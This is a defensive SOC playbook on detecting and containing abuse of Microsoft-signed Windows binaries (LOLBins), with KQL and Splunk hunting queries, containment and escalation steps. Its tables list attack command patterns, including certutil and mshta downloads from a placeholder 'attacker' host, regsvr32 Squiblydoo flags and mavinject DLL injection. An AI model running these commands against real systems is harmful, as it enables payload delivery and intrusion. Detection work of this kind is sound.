Living-off-the-Land Binaries (LOLBins) are Microsoft-signed system executables that attackers repurpose to execute malicious payloads, download second-stage tools, or bypass application allowlisting — all while blending into legitimate Windows administration traffic. Because these binaries are trusted by Windows Defender, AppLocker, and most EDR products by default, they are a first-choice technique for initial access operators and post-exploitation frameworks.
The challenge is not detection — most LOLBin abuse generates distinctive command-line patterns. The challenge is context: certutil.exe run by a sysadmin to decode a certificate versus certutil.exe run by winword.exe to download a payload are identical at the binary level. This SOP walks analysts through parent-process context, command-line argument patterns, and network correlation to distinguish abuse from legitimate administration.
◈ Table of Contents
01
Background
CONTEXTB1MITRE ATT&CK Mapping
| MITRE | Technique | LOLBin Used | Attacker Goal |
|---|---|---|---|
| T1218.002 | System Binary Proxy — Control Panel | control.exe | Execute DLL via Control Panel applet to bypass application control |
| T1218.003 | System Binary Proxy — CMSTP | cmstp.exe | Execute INF scriptlet to bypass UAC and run arbitrary code |
| T1218.005 | System Binary Proxy — Mshta | mshta.exe | Execute HTA payload via URL (mshta http://attacker/payload.hta) — bypasses Mark-of-the-Web |
| T1218.010 | System Binary Proxy — Regsvr32 | regsvr32.exe | Execute COM scriptlet (.sct) from remote URL with /s /u /i: flags — classic "Squiblydoo" |
| T1218.011 | System Binary Proxy — Rundll32 | rundll32.exe | Execute DLL export directly or load JavaScript via "javascript:" handler |
| T1105 | Ingress Tool Transfer | certutil.exe | Download and decode base64 payloads: certutil -urlcache -f http://attacker/payload |
| T1127.001 | Trusted Developer Utilities — MSBuild | msbuild.exe | Build and execute inline C# task containing shellcode without writing binary to disk |
| T1055.004 | Process Injection — Asynchronous Procedure Call | mavinject.exe | Inject DLL into running process: mavinject.exe [PID] /INJECTRUNNING [dll_path] |
B2Log Sources & Prerequisites
| Source | Sentinel Table | Key Fields | Required Setting |
|---|---|---|---|
| MDE Process Events | DeviceProcessEvents | FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName, DeviceName | Defender for Endpoint onboarded; Advanced Hunting enabled |
| MDE Network Events | DeviceNetworkEvents | InitiatingProcessFileName, RemoteUrl, RemoteIP, RemotePort, ActionType | Same — MDE onboarded |
| MDE File Events | DeviceFileEvents | FileName, FolderPath, InitiatingProcessFileName — files dropped by LOLBins | Same |
| Security Events | SecurityEvent | EventID 4688 — process creation (if MDE not available). Requires ProcessCreationIncludeCommandLine=1 GPO | Windows Event Forwarding or Sentinel data connector |
02
Identification
DETECT & INVESTIGATE◈ LOLBin Abuse — Investigation Workflow
I1Confirm LOLBin Abuse via Process Tree & Command-Line ArgumentsMANUAL + KQL
WHY
LOLBins are run by legitimate processes daily — the binary name alone means nothing. The parent process (what spawned the LOLBin) and the command-line arguments (what the LOLBin was told to do) are the two signals that distinguish a sysadmin using certutil.exe to decode a certificate from an attacker using certutil.exe to download a Cobalt Strike beacon. Always check both.
◈ Where to Check — Defender for Endpoint Device Timeline
security.microsoft.com→Endpoints→Device inventory→[Device]→Timeline
- 1Navigate to the device timeline. In the Filter events box, type the LOLBin filename (e.g.
certutil.exe). Filter by event type Process created. Locate the flagged event by timestamp. - 2Click the event to expand it. Look at Initiated by — this is the parent process. If the parent is
WINWORD.EXE,EXCEL.EXE,OUTLOOK.EXE,chrome.exe,msedge.exe,wscript.exe, orcscript.exe— this is almost certainly malicious. A legitimate sysadmin running certutil opens a command prompt, not Word. - 3Read the full Command line field and compare against the Key Indicators table below. Look for download URLs, base64-encoded content, JavaScript handlers, or remote script paths.
- 4Use the Go hunt button on the event to pivot directly into Advanced Hunting with the device and timestamp pre-populated — faster than manually writing the query.
Key Indicators — Malicious LOLBin Command-Line Patterns
| Binary | Malicious Flag / Pattern | What It Does |
|---|---|---|
| certutil.exe | -urlcache -f http:// or -decode on a suspicious path | Downloads remote file to disk; -decode converts base64 payload to binary — used to drop implants |
| mshta.exe | mshta http:// or mshta vbscript: or mshta javascript: | Executes remote HTA or inline script — bypasses Mark-of-the-Web protections |
| regsvr32.exe | /s /u /i:http:// (Squiblydoo) or /s /u /n /i:file.sct | Registers COM scriptlet from remote URL — executes arbitrary JScript/VBScript as a Windows DLL operation |
| rundll32.exe | javascript: in argument, or shell32.dll,#44, or loading from TEMP/AppData | Runs JavaScript via rundll32 COM interface; shell32.dll,#44 = ShellExec_RunDLL for arbitrary execution |
| mavinject.exe | /INJECTRUNNING [PID] [dll_path] | Injects specified DLL into running process by PID — signed Microsoft binary, no AV trigger |
| msbuild.exe | msbuild.exe [.csproj or .xml file] from TEMP or user-writable path | Builds and executes inline C# task — used to run shellcode without writing binary to disk |
| odbcconf.exe | /a {REGSVR [path.dll]} or -f [response_file] | Loads arbitrary DLL via ODBC configuration action — bypasses application control |
DETECTS: All LOLBin executions tenant-wide in the last 7 days, grouped by parent process and command line — identifies malicious parent-child relationships (Office/browser spawning system binaries) and abuse flags in the command line.
KQL — Microsoft Sentinel: LOLBin execution with suspicious parent
let lolbins = dynamic(["certutil.exe","mshta.exe","regsvr32.exe","rundll32.exe",
"mavinject.exe","msbuild.exe","odbcconf.exe","cmstp.exe",
"wmic.exe","cscript.exe","wscript.exe"]);
let suspParents = dynamic(["WINWORD.EXE","EXCEL.EXE","POWERPNT.EXE","OUTLOOK.EXE",
"chrome.exe","msedge.exe","firefox.exe","iexplore.exe",
"acrobat.exe","acrord32.exe","teams.exe"]);
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName in~ (lolbins)
| extend ParentName = tolower(InitiatingProcessFileName)
| where InitiatingProcessFileName in~ (suspParents)
or ProcessCommandLine has_any("urlcache","http://","https://","javascript:",
"/s /u","-decode","-encode","INJECTRUNNING",
"-EncodedCommand","-enc")
| project TimeGenerated, DeviceName, AccountName, FileName,
ProcessCommandLine, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by TimeGenerated desc
DETECTS: Splunk equivalent — searches MDE process events for LOLBin executions spawned by Office applications, browsers, or with abuse command-line patterns.
SPL — Splunk: LOLBin abuse detection
index=msdefender sourcetype=ms:defender:atp:logevents EventType=ProcessCreated
(FileName="certutil.exe" OR FileName="mshta.exe" OR FileName="regsvr32.exe"
OR FileName="rundll32.exe" OR FileName="mavinject.exe" OR FileName="msbuild.exe")
(InitiatingProcessFileName="WINWORD.EXE" OR InitiatingProcessFileName="EXCEL.EXE"
OR InitiatingProcessFileName="chrome.exe" OR InitiatingProcessFileName="msedge.exe"
OR ProcessCommandLine="*urlcache*" OR ProcessCommandLine="*javascript:*"
OR ProcessCommandLine="*/s /u*" OR ProcessCommandLine="*INJECTRUNNING*")
| table _time, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName
| sort -_time
I2Correlate Network Outbound & Dropped FilesMANUAL + KQL
WHY
A LOLBin launching proves attacker-controlled execution. Network outbound from that process proves active C2 or payload download — confirming the kill chain is live. File drops from the LOLBin (DLLs, executables in TEMP/AppData) prove stage-2 delivery. Either signal escalates the response from "investigate" to "isolate immediately".
◈ Where to Check — MDE Network Events & File Events
security.microsoft.com→Endpoints→[Device]→Timeline→Filter: Network connection + File created
- 1In the device timeline, filter event types to Network connection. Set the time range to ±5 minutes around the LOLBin process creation event. Look for outbound connections with the LOLBin binary listed as Initiated by. Note the remote IP and domain.
- 2Add filter File created. Look for files written to
%TEMP%,%APPDATA%,C:\Users\Public, orC:\ProgramDataby the LOLBin process within the same window. Executable, DLL, or script files in these locations are stage-2 payload drops. - 3If a remote URL is present in the certutil command line, check whether the file was successfully written: filter File created with the output filename from the
-f [output]argument.
DETECTS: Network connections initiated by known LOLBin processes to external IPs/domains — confirms active download or C2 communication. External RemotePort 80/443 from certutil or mshta is a near-certain payload download indicator.
KQL — Network connections from LOLBin processes
let lolbins = dynamic(["certutil.exe","mshta.exe","regsvr32.exe",
"rundll32.exe","mavinject.exe","msbuild.exe"]);
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ (lolbins)
| where ActionType == "ConnectionSuccess"
| where not(ipv4_is_private(RemoteIP))
| project TimeGenerated, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine, RemoteIP, RemoteUrl, RemotePort, Protocol
| order by TimeGenerated desc
DETECTS: Files written to user-writable paths by LOLBin processes — identifies stage-2 payload drops (EXE, DLL, PS1, HTA files written to TEMP/AppData by certutil, mshta, or rundll32).
KQL — File drops by LOLBin processes
let lolbins = dynamic(["certutil.exe","mshta.exe","regsvr32.exe",
"rundll32.exe","msbuild.exe"]);
let writablePaths = dynamic(["\\Temp\\","\\AppData\\","\\Public\\","\\ProgramData\\"]);
DeviceFileEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ (lolbins)
| where ActionType in ("FileCreated","FileModified")
| where FolderPath has_any (writablePaths)
| where FileName endswith ".exe" or FileName endswith ".dll"
or FileName endswith ".ps1" or FileName endswith ".hta"
or FileName endswith ".bat" or FileName endswith ".vbs"
| project TimeGenerated, DeviceName, InitiatingProcessFileName,
FolderPath, FileName, SHA256, FileSize
| order by TimeGenerated desc
SPL — Network + file correlation (Splunk)
index=msdefender sourcetype=ms:defender:atp:logevents
(EventType=NetworkConnectionInspected OR EventType=FileCreated)
(InitiatingProcessFileName="certutil.exe" OR InitiatingProcessFileName="mshta.exe"
OR InitiatingProcessFileName="regsvr32.exe" OR InitiatingProcessFileName="rundll32.exe")
| eval IOC=coalesce(RemoteUrl, RemoteIP, FileName)
| table _time, DeviceName, InitiatingProcessFileName, EventType, IOC, RemotePort, FolderPath
| sort -_time
Hash any file dropped by a LOLBin and immediately check it against VirusTotal and your threat intel feeds before containment. If the hash matches a known implant family (Cobalt Strike, Metasploit, Sliver) — escalate to SEV1 immediately and loop in IR. The LOLBin was just the delivery vehicle.
03
Containment
STOP ITBased on Identification Findings:
Confirmed
LOLBin spawned by Office/browser parent, OR command line contains download URL / decode / script handler, OR network outbound to external IP from LOLBin process confirmed, OR dropped file is executable/DLL in user-writable path → Execute C1 immediately. Treat as active compromise until proven otherwise.
Uncertain
LOLBin executed from command prompt (explorer.exe parent), command-line has unusual arguments but no external URL, no network activity or file drops detected → Contact the device owner directly (call — not email). Confirm whether they or IT ran the command. If unavailable or denies: treat as confirmed and proceed to C1.
False Pos.
IT admin confirms running certutil/regsvr32 for legitimate task (certificate management, DLL registration for software install), command-line arguments match documented IT tool, no external network activity, parent is cmd.exe or powershell.exe opened by the admin → Document, close, tune analytics rule to exclude the specific IT admin account or tool path.
C1Isolate Device & Kill Malicious ProcessImmediate
- 1Isolate the device via MDE: security.microsoft.com → Endpoints → Device inventory → [Device] → Isolate device. This blocks all network traffic except MDE management channel — the device remains visible to you but cannot communicate externally. Select Full isolation.
- 2Kill the malicious process if still running: Device page → Live response → Run script → Run command:
taskkill /F /IM certutil.exe(or the relevant LOLBin). Do this after network isolation to prevent C2 receiving the kill signal before you cut the connection. - 3Block the file hash of any dropped payload: security.microsoft.com → Threat intelligence → Indicators → Add indicator → File hash (SHA-256). Set action to Block and remediate across the org. This prevents the same payload from executing on any other device.
- 4Block the C2 IP/domain: If a remote IP or URL was found in Step I2 — add it as a Custom Indicator with Block action. Also add to your firewall block list for coverage outside MDE scope.
Do not restart or reimage the device before forensic collection. Volatile evidence (running processes, network sockets, parent-child process tree, registry run values) exists only in memory and disappears on reboot. Collect first, then remediate.
04
Eradication
CLEAN UPE1Remove Dropped Payload & Hunt Lateral Spread
- 1Delete dropped files: Via MDE Live Response, run
del /F /Q "C:\Users\[user]\AppData\Local\Temp\[payload]"for each file identified in I2. Confirm deletion withdir [path]. - 2Check for persistence added by the dropped payload: Run the scheduled task and run key SOP (SOP-26) triage steps on this device — LOLBin payloads frequently establish persistence as a second action immediately after dropping.
- 3Hunt for the same LOLBin command-line pattern org-wide: Run the I1 KQL across the full tenant. If 3 or more devices show the same pattern — you have a campaign or worm-like spread. Escalate to IR immediately.
- 4Run MDE full antivirus scan: Device page → Security recommendations → Run antivirus scan → Full scan. MDE's updated signatures will catch common implant families and remove them if detected.
- 5Reset credentials for the affected account: The user account on the compromised device must be treated as potentially credential-dumped. Issue a password reset and re-enrol MFA before re-enabling the account.
Eradication Complete When
- Device isolated, all dropped files deleted, and MDE full scan returns clean
- File hash and C2 IP/domain blocked as Custom Indicators org-wide in MDE
- No other devices showing the same LOLBin command-line pattern in KQL hunt
- Persistence mechanisms (scheduled tasks, registry run keys) checked and clean on affected device
- Affected user account credentials reset and MFA re-enrolled before device is returned to service
05
Escalation
TIERSESCEscalation Decision Table
| Tier | Trigger Condition | Who to Notify | Action |
|---|---|---|---|
| L1 → L2 | Single device, LOLBin abuse confirmed, dropped payload blocked, device isolated, no evidence of credential dumping or lateral movement | L2 SOC Analyst | Hand off: device name, user, LOLBin binary, command line, dropped file hash, C2 IP, containment actions taken |
| L2 → IR | Any of: dropped payload is a known implant (Cobalt Strike, Sliver, Metasploit), multiple devices show the same pattern, credential dumping activity follows the LOLBin execution, or network lateral movement detected from the device after the LOLBin ran | IR Team | Declare SEV1 or SEV2. Full forensic collection on affected device. Hunt for lateral movement from compromised device. Assess whether credentials were harvested and used elsewhere. |
| L2 → Security Engineering | No Sentinel analytics rule existed for the LOLBin pattern that triggered this incident; or MDE application control was not blocking the LOLBin from executing from the parent path | Security Architecture | Deploy Microsoft-recommended LOLBin analytics rules from Sentinel Content Hub. Consider Attack Surface Reduction (ASR) rules to block Office applications from spawning child processes. |
Authorized security research & penetration testing only. Unauthorized use is illegal. Built by Rudra Verma | Senior Cyber Security Architect & Researcher | CyberHawk Threat Intel
◈ Stay Connected
Follow CyberHawk Threat Intel for threat intelligence, SOC playbooks, and hands-on detection engineering content.
"They can't exploit you if you are the Exploit."